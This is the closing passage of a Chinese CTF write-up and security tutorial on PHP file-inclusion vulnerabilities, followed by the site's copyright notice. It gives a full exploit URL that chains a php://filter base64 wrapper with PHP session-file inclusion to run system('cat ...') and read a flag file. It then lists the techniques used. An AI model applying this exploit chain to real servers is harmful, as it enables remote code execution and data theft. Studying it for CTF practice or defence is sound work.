代码语言:javascript代码运行次数:0运行复制http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
结合了几个知识点: php文件包含:伪协议利用 php文件包含:包含session文件 php-session知识及序列化格式 base64的基本原理 |
---|
- 结合了几个知识点:
- php文件包含:伪协议利用
- php文件包含:包含session文件
- php-session知识及序列化格式
- base64的基本原理
roao
本文标签: 2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POCEXP以及 如何防御和修复含PHPPyhton,C源码和CTF精题及WP详解(4)
版权声明:本文标题:2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP;Pyhton,C源码和CTF精题及WP详解](4) 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1754686731a1705206.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论